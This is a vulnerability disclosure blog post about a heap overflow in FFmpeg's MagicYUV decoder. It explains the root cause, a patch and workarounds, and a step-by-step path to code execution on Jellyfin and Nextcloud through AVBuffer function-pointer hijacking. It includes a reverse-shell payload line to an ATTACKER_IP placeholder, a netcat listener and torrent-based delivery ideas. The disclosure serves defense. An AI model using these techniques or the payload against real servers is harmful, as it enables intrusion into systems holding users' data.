PixelSmash – Critical FFmpeg Vulnerability Turns Media Files into Weapons

A critical vulnerability in FFmpeg's MagicYUV decoder leads to remote code execution via a crafted media file

Pixelsmash - 863x300

JFrog Security Research recently discovered and disclosed a critical vulnerability in FFmpeg, the world’s most widely deployed media processing framework. The discovered vulnerability, which we’ve named PixelSmash, is CVE-2026-8461 – a heap out-of-bounds write in the MagicYUV decoder (CVSS 8.8 High). We escalated this vulnerability from a simple crash all the way to reliable remote code execution – all it takes is processing a single malicious media file.

The out-of-bounds write is enough to crash any application that uses FFmpeg – from desktop video players like Kodi and mpv, to Linux file-manager thumbnail generators, to cloud transcoding pipelines and self-hosted media servers. We demonstrated the full exploit by achieving remote code execution on two independent targets: a Jellyfin media server (via automatic library scan) and a Nextcloud instance (via the video preview provider) – in both cases, by simply uploading a crafted 50 KB AVI file.

Users of FFmpeg are recommended to upgrade to the fixed version as soon as possible. If the MagicYUV decoder is not needed, it can be disabled at build time (see our “Workarounds” section below).

FFmpeg is bundled or linked by virtually every media-processing application on every platform – meaning the blast radius is wide. We confirmed crashes against Kodi, mpv, ffmpegthumbnailer (used by GNOME, KDE, XFCE), Jellyfin, Emby, Nextcloud, Immich, PhotoPrism, and OBS Studio, among others – and demonstrated full remote code execution against Jellyfin.

PixelSmash is a software supply chain vulnerability: a single bug in a single codec decoder inside FFmpeg – a foundational dependency embedded in hundreds of downstream projects – cascades to every application that links libavcodec. None of the affected projects (Jellyfin, mpv, Nextcloud, Immich, OBS, vLLM, and many others) introduced this bug. They inherited it silently through their dependency on FFmpeg, and most have no mechanism to detect or mitigate it independently.

In this technical blog post, we will explain the root cause of the vulnerability, walk through the exploitation from crash to code execution step by step, and demonstrate real-world remote code execution against a Jellyfin media server – from a single uploaded video file to a reverse shell.

We would like to thank the FFmpeg and Jellyfin security teams for their responsiveness in addressing these issues.

Who is affected by PixelSmash?

Attack prerequisites

In order to exploit PixelSmash, an attacker needs to deliver a crafted media file (AVI, MKV, or MOV container) to any application that decodes video using FFmpeg’s libavcodec. This includes:

  • Desktop: a user opens the malicious file in a video player, or simply browses to a folder containing it (the file manager’s thumbnail generator triggers the vulnerability)
  • Server-side: a user uploads the file to a media server (Jellyfin, Emby, Nextcloud, Immich), chat platform (Slack, Discord, Telegram), or cloud transcoding service (AWS MediaConvert, Cloudflare Stream) – the server processes it automatically
  • Embedded/IoT: any NAS appliance (Synology, QNAP), smart TV, or media appliance that generates video thumbnails or previews

No authentication, special privileges, or prior access to the target system is required beyond the ability to deliver a media file – the default attack surface for any media-processing application.

Detection

To detect if your system includes the vulnerable MagicYUV decoder, run:

ffmpeg -decoders 2>/dev/null | grep magicyuv

If the output includes VFS..D magicyuv, your FFmpeg build is vulnerable. The MagicYUV decoder is enabled by default in every upstream FFmpeg build and every distribution package we tested (Ubuntu, Debian, Fedora, Arch, Alpine) before version 9.0.

Workarounds

If upgrading FFmpeg is not immediately possible:

Option 1 – Rebuild FFmpeg with the vulnerable decoder disabled:

./configure --disable-decoder=magicyuv [your other flags]<
make && make install

 

Option 2 – Apply the minimal patch (7 lines added to libavcodec/magicyuv.c):


     if (s->slice_height <= 0 || s->slice_height > INT_MAX -  avctx->coded_height) {
         av_log(avctx, AV_LOG_ERROR, "invalid slice height: %d\n",    s->slice_height);
         return AVERROR_INVALIDDATA;
     }
+    if ((s->slice_height >> s->vshift[1]) <= s->interlaced) {
+        av_log(avctx, AV_LOG_ERROR, "impossible slice height\n");
+        return AVERROR_INVALIDDATA;
+    }
+    if ((avctx->coded_height % s->slice_height) && ((avctx->coded_height % +        s->slice_height) >> s->vshift[1]) <= s->interlaced) {
+        av_log(avctx, AV_LOG_ERROR, "impossible height\n");
+        return AVERROR_INVALIDDATA;

 

This rejects the malformed slice_height values that trigger the OOB write. The reference MagicYUV encoder always emits aligned slice heights, so this only rejects malicious input.

Diving into the PixelSmash vulnerability

FFmpeg and media codecs – a universal attack surface

FFmpeg is the backbone of media processing across the software ecosystem. It is linked or bundled by virtually every application that touches video – from desktop players (mpv, VLC) to self-hosted media servers (Jellyfin, Plex, Emby) to cloud transcoding pipelines (AWS MediaConvert, Cloudflare Stream) to Linux desktop environments (GNOME, KDE, XFCE use it for video thumbnails).

FFmpeg’s libavcodec library contains decoders for hundreds of video and audio codecs. Each decoder parses attacker-controlled bitstream data and writes decoded pixels into heap-allocated frame buffers. A bug in any decoder is reachable from any application that processes the corresponding media format, making codec bugs among the highest-impact vulnerability classes in the software ecosystem.

MagicYUV is a lossless video codec designed for high-performance video editing workflows. While not as widely known as H.264 or VP9, its decoder is compiled into every default FFmpeg build and registered for AVI, MKV, and MOV containers. Any application that can open a video file can trigger the MagicYUV decoder.

CVE-2026-8461 – Heap out-of-bounds write in the MagicYUV decoder

Background

In video compression, a slice is a distinct, horizontally divided region of a single video frame that can be decoded independently from the rest of the frame.

Digital video rarely stores images in standard RGB (Red, Green, Blue). Instead, it uses the YUV color space, which splits an image into separate layers or “planes”:

  • Y (Luma Plane): The brightness or grayscale details of the image. The human eye is incredibly sharp at detecting brightness.
  • U & V (Chroma Planes): The actual color information. The human eye is much worse at seeing fine color details.

The root cause: a rounding mismatch

The vulnerability is a one-row heap buffer overflow in the MagicYUV decoder’s slice handling, caused by an inconsistency between how the frame allocator and the decoder compute chroma plane heights.

MagicYUV encodes video in horizontal slices. For subsampled pixel formats like YUV420P (where chroma planes have half the vertical resolution of the luma plane), the decoder must convert slice heights from luma rows to chroma rows using ceiling-rounded right shifts.

The problem: when slice_height is odd, the ceiling-rounded shift (AV_CEIL_RSHIFT) adds an extra row per slice. Over multiple slices, these extra rows accumulate past the end of the buffer that was allocated for the chroma plane.

The problem can be broken down into the following steps:

 1. The frame allocator computes how tall the chroma plane buffer should be. In update_frame_pool (get_buffer.c), the frame height is aligned to 32, then halved for chroma:

allocated chroma rows = AV_CEIL_RSHIFT(FFALIGN(32, 32), 1) = 16

The chroma plane buffer is allocated for 16 rows.

2. The decoder reads slice_height directly from the attacker-controlled bitstream (magicyuv.c:550):

s->slice_height = bytestream2_get_le32u(&gb);

With our crafted value of slice_height = 31 and coded_height = 32, the decoder computes:

// magicyuv.c:559 - number of slices
s->nb_slices = (32 + 31 - 1) / 31 = 2;

// magicyuv.c:275 - chroma rows per slice (ceiling-rounded)
int sheight = AV_CEIL_RSHIFT(31, 1) = 16;

3. For the second (last) slice, the decoder computes the destination pointer:


// magicyuv.c:287
dst = p->data[1] + j * height * stride
    = p->data[1] + 1 * 16 * stride    // row 16 of a 16-row buffer!

The chroma buffer has rows 0-15 (16 rows). The decoder writes to row 16 – one full row past the end of the allocation.

4. The OOB write fires. In raw mode, the decoder copies attacker-controlled bytes directly:


// magicyuv.c:291-294
for (k = 0; k < height; k++) {
    bytestream_get_buffer(&slice, dst, width);  // OOB WRITE
    dst += stride;
}

 

With width = 640 (for our coded_width = 1280, halved for chroma), this deposits 640 fully attacker-controlled bytes into the heap chunk immediately following the chroma plane buffer.

The existing slice_height validation at magicyuv.c:566 only checks the interlaced code path – the non-interlaced path we exploit has no alignment check at all:


// magicyuv.c:566-568 - guard ONLY for interlaced mode
if (s->interlaced) {
    if ((s->slice_height >> s->vshift[1]) < 2)

 

The ASAN report from upstream master confirms the overflow precisely:


==PID==ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 512 at 0x52500000214f thread T0
    #2 bytestream_get_buffer  libavcodec/bytestream.h:367
    #3 magy_decode_slice      libavcodec/magicyuv.c:292
    #5 magy_decode_frame      libavcodec/magicyuv.c:630

0x52500000214f is located 0 bytes after 8271-byte region

 

Diagram1 – Heap Layout

Pixelsmash -

From OOB write to code execution: hijacking AVBuffer

A heap overflow is only useful if the attacker can overwrite something meaningful. In FFmpeg’s heap layout, the answer is the AVBuffer struct – the refcounted buffer management object that FFmpeg allocates immediately after each plane’s pixel data.

When FFmpeg finishes decoding a frame, it calls av_frame_unref, which walks each plane’s buffer reference and calls av_buffer_unref. Inside av_buffer_unref (libavutil/buffer.c:133), when the refcount reaches zero:

buf->free(buf->opaque, buf->data);

 

This is an indirect call through a function pointer stored in the heap. If we can overwrite buf->free with the address of libc’s system() and buf->opaque with a pointer to a shell command string, the indirect call becomes:

system(cmd_string);   // attacker's shell command executes

 

Our OOB write of 640 bytes lands directly on the AVBuffer struct for the Cb chroma plane. The heap layout at the OOB region (captured via GDB on Jellyfin’s bundled jellyfin-ffmpeg 7.1.3):

 


OOB + 0:     [88 bytes of zeros - command string hole]
OOB + 88:    [glibc chunk headers - must be preserved]
OOB + 256:   AVBuffer struct:
  +256         .data      = Cb_data pointer
  +264         .size      = 0x284f
  +272         .refcount  = 1          <- we write 1
  +280         .free      =  <- we overwrite with &system
  +288         .opaque    =  <- we overwrite with &cmd_string OOB + 384: AVBufferRef.buffer -> points back to AVBuffer at +256

 

The exploit places a NUL-terminated shell command at OOB offset 0 (the 88-byte zero hole that’s free of glibc metadata), then overwrites:

  • AVBuffer.free -> address of libc system()
  • AVBuffer.opaque -> heap address of the command string at OOB + 0
  • AVBuffer.refcount -> 1 (so the decrement reaches zero and triggers the call)

When av_buffer_unref fires during normal frame cleanup, the indirect call becomes system(“attacker_command”). The forked shell child executes the command before the parent FFmpeg process crashes on subsequent heap corruption – the side effect has already landed.

The critical challenge: glibc’s malloc chunk headers within the OOB region must be preserved exactly, or free() calls on unrelated allocations will detect corruption and abort the process before our hijacked av_buffer_unref runs. Our exploit encodes the exact chunk metadata observed in the target’s heap into the OOB payload, using left-prediction encoding to match MagicYUV’s decompression algorithm.

Diagram2 – Exploit Flow

Pixelsmash Diagram 2

From crash to RCE: escalating the primitive

The heap OOB write is not only a denial-of-service. We escalated it to reliable arbitrary command execution against Jellyfin’s bundled FFmpeg 7.1.3.

Important caveat: ASLR was disabled for this demonstration. Our exploit requires hardcoded addresses for system() and the OOB command string, which means it works deterministically only with ASLR disabled (setarch x86_64 -R). In a default Linux configuration with ASLR enabled, the addresses are randomized on every execution, and the exploit does not land. However, we identified a separate information leak vulnerability in FFmpeg’s FlashSV decoder (libavcodec/flashsv.c) – an uninitialized heap memory disclosure that has been present in upstream FFmpeg since July 2022 and remains unfixed as of the time of publication. It can be exploited only when using specific environment flags for ffmpeg (e.g., -threads 1) – hence the severity is only informational. In principle, a similar info leak that might be found in the future could be chained with the MagicYUV OOB write to defeat ASLR and achieve RCE under full mitigations – but this chaining requires additional research and has not been demonstrated. The MagicYUV OOB write alone (without ASLR bypass) is sufficient for reliable DoS against every tested target.

The escalation required solving three engineering challenges:

  1. Precise heap layout calibration: the OOB payload must write the correct values at the correct offsets to hit the AVBuffer struct. We built a GDB-based auto-calibration pipeline that captures the exact heap state before the OOB write fires, extracts all chunk metadata qwords, and generates a surgical exploit AVI/MKV/MOV file.
  2. Preserving glibc chunk integrity: the 640-byte OOB region contains glibc malloc chunk headers (free-list pointers, chunk sizes, PREV_INUSE flags). If even one of these is corrupted, glibc’s integrity checks abort the process before our hijacked av_buffer_unref runs. Our exploit preserves all 33 metadata qwords exactly as they appear in the live heap.
  3. Cr plane OOB preservation: both the Cb and Cr chroma planes have OOB writes (one row each). The Cr OOB region contains a tcache entry and the glibc top chunk. If the top chunk size is corrupted, system()’s internal malloc calls for fork()/exec() fail. Our exploit encodes the exact Cr heap metadata to preserve it.

Real-world exploitation: Jellyfin media server RCE

To demonstrate the real-world impact, we achieved full remote code execution against a Jellyfin 10.11.9 media server – the second-most popular self-hosted media server (after Plex) – through its normal media library scan pipeline.

Attack path: a download of a crafted MagicYUV AVI into the media library -> Jellyfin automatically triggers ffprobe for metadata extraction -> the OOB write fires -> AVBuffer.free is hijacked to system() -> arbitrary command executes as the jellyfin service user (uid 115).

Calibration: why heap layout matters

The heap layout of the OOB region depends on the exact ffprobe command-line arguments and the length of the input file path. We discovered this through three complete recalibration cycles:

  1. Base arguments shift the heap: Jellyfin’s ffprobe invocation includes flags not present in a bare ffprobe call (captured via strace on the running Jellyfin process):

ffprobe -analyzeduration 200M -probesize 1G -threads 0 -v warning
        -print_format json -show_streams -show_chapters -show_format
        -show_frames -only_first_vframe -i file:

 

  1. -threads 0 flag shifts the heap by ~0x200: The multithreading option causes additional thread context allocations that push the chroma buffer to a different heap address.
  2. File path length shifts the heap by around 0x40 per length class: file:/tmp/test.avi (short path) produces a different layout than file:/var/lib/jellyfin/media/movies/Summer_Memories_2026.avi (production path). Filenames of equal length produce identical layouts – this is the key insight that makes the exploit deterministic for a known deployment.

The exploit

Our final calibration targets a 60-character file path (matching Jellyfin’s default media library structure). The exploit AVI:

  • Places the shell command (bash -c ‘bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1’) in the 88-byte zero hole at OOB offset 0
  • Preserves all 33 glibc chunk metadata qwords in the Cb OOB region
  • Preserves the Cr OOB region’s tcache entry and top chunk (critical: if the top chunk size is corrupted, system()’s internal fork()/exec() path fails)
  • Overwrites AVBuffer.free with system() and AVBuffer.opaque with the command string address

The entire exploit payload becomes a single 50 KB AVI file (but it can also be a MKV or a MOV container).

Result: reverse shell from a video upload

We set up a listener on the attacker machine and triggered a Jellyfin library scan (with ASLR disabled for this demonstration – see the ASLR discussion above). Within seconds of Jellyfin’s ffprobe processing the uploaded file, we received a reverse shell running as the Jellyfin service user:

$ nc -l 4444
jellyfin@ubuntu-vm:~$ id
uid=115(jellyfin) gid=121(jellyfin) groups=121(jellyfin),29(audio),44(video),100(users)
jellyfin@ubuntu-vm:~$ whoami
jellyfin

From the Jellyfin user context, an attacker has access to all media libraries, server configuration, API keys, and (depending on deployment) may be able to pivot/perform lateral movement to other services on the network.

Zero-click attack via torrent downloads

A particularly dangerous real-world delivery vector is torrent downloads targeted at media server libraries. Many Jellyfin users configure their torrent client (qBittorrent, Transmission, Deluge) to download directly into Jellyfin’s monitored media library folder – e.g., /var/lib/jellyfin/media/movies/.

The attack requires zero interaction beyond the initial torrent download:

  • The attacker seeds a malicious MagicYUV AVI disguised as a popular movie on a public torrent tracker (e.g., Blockbuster_Movie_2026_1080p.avi, 50 KB)
  • The victim’s torrent client downloads the file directly into Jellyfin’s media library folder
  • Jellyfin’s real-time file system monitor detects the new file and automatically triggers an ffprobe metadata scan
  • The exploit fires during the scan – AVBuffer.free is hijacked to system(), and the attacker’s reverse shell command executes as the jellyfin service user

No user interaction is required after the torrent completes. The victim never needs to open, play, or even look at the file – Jellyfin’s automatic library scanning does the rest. This makes the torrent vector a true zero-click exploit in common home media server configurations.

The same vector applies to any automated media pipeline where downloaded files land in a monitored directory: Sonarr/Radarr -> Jellyfin, NZBGet -> Emby, or any “watch folder” pattern that triggers ffmpeg-based processing on new files.

Diagram3 – Real-World Attack

Pixelsmash Diagram 3

Note on jemalloc: Jellyfin’s /etc/default/jellyfin contains a commented-out  LD_PRELOAD line for libjemalloc2. If a user or distribution enables it,  jemalloc’s different heap layout would prevent the glibc-calibrated exploit from landing – but nothing in the default configuration is designed to stop the attack, only by incident in this case. In the default apt installation, jemalloc is not enabled, and the glibc heap layout required by our exploit is what ffprobe uses out of the box.

Real-world exploitation: Nextcloud RCE via preview generation

To demonstrate the versatility of the exploit across different applications and FFmpeg versions, we ported the RCE chain to Nextcloud – the industry-leading self-hosted cloud storage platform – which utilizes an entirely independent FFmpeg build.

Nextcloud features an optional Movie preview provider (OC\Preview\Movie) that invokes the system ffmpeg binary for thumbnail generation. When active, simply browsing the Files app triggers the vulnerability for any video lacking a cached preview.

The attacker requires no interaction beyond ensuring the file is visible in a folder listing; the server-side processing handles the rest, making this a near-zero-click vector.

An example attack path: a user uploads the crafted AVI via the web interface -> the file appears in the Files view -> Nextcloud spawns ffmpeg for metadata and preview extraction -> the MagicYUV OOB write fires -> AVBuffer.free is hijacked to system() -> arbitrary commands execute as the www-data user.

The www-data context is high-value: it grants direct access to all user data, database credentials within config.php, and provides a powerful pivot point into the internal network.

The exploitation is entirely silent. In the web interface, the only indicator is a generic file icon where a thumbnail should be. No errors or popups alert the user, and the resulting crash is buried in server-side logs that typically go unmonitored by administrators.

Please see the video below for details:

Ecosystem impact: DoS across every media stack

Even without the RCE chain, the MagicYUV OOB write alone causes immediate crashes across every mainstream media-processing application we tested:

Target How it uses FFmpeg Crash behavior
mpv (desktop player) Links system libavcodec munmap_chunk(): invalid pointer – SIGABRT
Kodi Links system libavcodec Crash
ffmpegthumbnailer (GNOME/KDE/XFCE) Links system libavcodec SIGSEGV, core dumped
Jellyfin 10.11.9 Bundled jellyfin-ffmpeg 7.1.3 Silent heap corruption (no crash, no error)
Emby 4.8.11 Bundled emby-ffmpeg 5.1 Silent heap corruption, exit 0
Nextcloud (preview worker) System ffmpeg via shell-out Crash + RCE as www-data | Non-default config (Movie preview provider)
Immich (transcode service) System ffmpeg SIGABRT
PhotoPrism (poster extract) System ffmpeg SIGABRT
OBS Studio System libavcodec Crash

 

The file is only 50 KB and works across three container formats:

Container MagicYUV accepted? Crashes FFmpeg?
AVI Yes Yes
MKV / Matroska Yes Yes
MOV / QuickTime Yes Yes
MP4 No (codec not in MP4 registry) N/A

A supply chain vulnerability with a potentially enormous blast radius

The table above illustrates why PixelSmash is, at its root, a supply chain vulnerability. FFmpeg’s libavcodec is the standard library for media decoding, embedded as a transitive dependency in virtually every application that touches video. The MagicYUV decoder ships enabled by default in every upstream build, and downstream projects inherit it without any explicit opt-in.

This means a single bug in magicyuv.c – 600 lines of codec-specific code that most downstream maintainers have never read – silently propagates to mpv, Jellyfin, Emby, Nextcloud, Immich, PhotoPrism, OBS, vLLM, and hundreds of other projects. Each of these projects trusts FFmpeg to handle untrusted input safely. None of them has the visibility or expertise to audit individual codec decoders. This is the supply chain problem in a nutshell; your attack surface includes every line of code in every dependency you ship, whether you’ve read it or not.

Plex’s approach – building FFmpeg with –disable-decoders and a minimal allow-list – is the only effective defense we observed. It is also the rarest: out of every project we tested, only Plex takes this step.

Diagram4 – Supply Chain Impact

Pixelsmash Diagram 4

Silent heap corruption is worse than crashing

Jellyfin and Emby process the malicious file with exit code 0 and no error output. This isn’t a sign of safety; the heap is silently corrupted either way. ASAN-instrumented builds of the same ffmpeg version confirm the identical 640-byte OOB write fires. The production binary simply doesn’t trip glibc’s integrity check on the corrupted chunk.

A long-running Jellyfin server processes hundreds of malicious uploads, accumulating heap corruption with each one, with zero error signal to the administrator. This may be the worst failure mode: the server is under active exploitation, and nothing in any log tells the operator.

SaaS cost amplification (in theory)

Every cloud video-processing pipeline that accepts user-uploaded media runs ffmpeg-based workers. Failed jobs retry – and every retry re-triggers the crash:

Retry budget Cost amplification per 50 KB upload
AWS Lambda default (3 retries) 13.7x
Sidekiq default (25 retries) ~114x
AWS Step Functions (MaxAttempts: 10) ~46x

 

A sustained upload of malicious files at 1 KB/s (well under any rate limit) will cost the defender, in theory, ~$200/day on AWS Lambda alone. The asymmetric cost ratio at network egress prices is approximately 50,000:1 in the attacker’s favor.

The attack surface beyond direct video playback

The vulnerability is triggerable from any code path that routes a MagicYUV stream through libavcodec’s decoder. Beyond direct playback, this includes:

  • Thumbnail generation: Linux file managers (Nautilus, Dolphin, Thunar) spawn ffmpegthumbnailer when a user merely browses to a directory containing the malicious file – no click required
  • Preview generation: NAS appliances (Synology DSM, QNAP), photo managers (Immich, PhotoPrism), and cloud storage (Nextcloud – RCE confirmed, see above) generate thumbnails on upload
  • Metadata extraction: Media servers run ffprobe to extract stream information – Jellyfin’s auto-scan fires on every new file in the library
  • ML/AI pipelines: vLLM and other multi-modal AI frameworks that use PyAV/libavcodec to decode video inputs (confirmed DoS, 3/3 SIGSEGV)
  • Chat platforms: Slack, Discord, Telegram, and WhatsApp all generate server-side video previews using ffmpeg (architecture documented in their engineering blogs; not tested against production)

Emerging attack surfaces: AI/ML and beyond

The vulnerability’s reach extends well beyond traditional media applications. We recommended that several high-value targets in the AI/ML ecosystem process video through FFmpeg and should be investigated for exposure:

Target How it uses FFmpeg Impact
vLLM Uses PyAV (in-process FFmpeg bindings) to decode video inputs for multi-modal LLM inference. We confirmed DoS: 3/3 SIGSEGV. Crash of inference worker; in shared deployments, it crashes the serving process for all users
LLaVA / LLaVA-NeXT Multi-modal vision-language models. The decode pipeline uses PyAV or OpenCV. Worker crash; potential for heap corruption in long-running serving processes
OpenCV (cv2.VideoCapture) Links system libavcodec. Used ubiquitously in ML training pipelines. SIGABRT on any VideoCapture.read() of the malicious file
Hugging Face Datasets Video datasets loaded via PyAV or ffmpeg subprocess. Crash during dataset loading; poisoned dataset entries could DoS training runs
NVIDIA DALI GPU-accelerated data loading pipeline. Can use FFmpeg backend. Worker crash; potential cascade failure in distributed training
Ray Data / Ray Serve Distributed data processing and model serving. Crash propagates across Ray workers; a single malicious video disrupts cluster
Roboflow / Supervisely / CVAT CV annotation platforms. Ingest user-uploaded videos. Server-side crash on upload; heap corruption in annotation workers

 

The common pattern across all these targets: they accept video from untrusted sources (user uploads, web scraping, public datasets, model prompts) and process it through libavcodec without codec filtering. The MagicYUV decoder is enabled in every default build.

We validated the DoS impact against vLLM directly and confirmed the crash. RCE via the AVBuffer-overwrite primitive does not port directly from FFmpeg 7.1.3 to libavcodec 4.4 (the version linked by PyAV on Ubuntu 22.04) due to different heap layout geometry – the AVBuffer struct sits 14 KB before the chroma plane end rather than 256 bytes after it, placing it out of reach of the OOB write. However, alternative exploitation strategies (fastbin attack via chunk metadata within OOB range, or _IO_FILE vtable hijack) remain viable and warrant further research.

We recommend that teams operating AI/ML infrastructure that processes video input audit their FFmpeg dependency and apply the patch or disable the MagicYUV decoder.

Disclosure Timeline

Date Event
May 13th 2026 JFrog Security Research reported the vulnerability to the FFmpeg security team (ffmpeg-security@ffmpeg.org).
May 19th 2026 The FFmpeg security team acknowledged the report.
May 24th 2026 JFrog Security Research reported the vulnerability to the Jellyfin security team (security@jellyfin.org)
May 26th 2026 Jellyfin security team bumped their upstream version
May 26th 2026 Reported to the security teams of: mpv, obsproject, photoprism, immich, and the report was delivered to the Nextcloud bug bounty program
May 27th 2026 The Photoprism security team opened an issue on their GitHub to exclude a list of ffmpeg formats and codecs.

The Nextcloud team on HackerOne responded that they’re considering it as a non-issue since the vulnerability exists outside of Nextcloud.

May 31, 2026 Reported to the security team of vLLM
June 7th, 2026 Reported to the Kodi team
June 17th, 2026 FFmpeg released a patched version (8.1.2) containing a fix for CVE-2026-8461.
June 18th, 2026 CVE published.
June 22nd, 2026 JFrog Security Research publishes this article.

Staying Safe

With an expanding attack surface and new threats being discovered every day, it pays to stay on top of the latest vulnerabilities by bookmarking the JFrog Security Research Center and checking out our latest discoveries.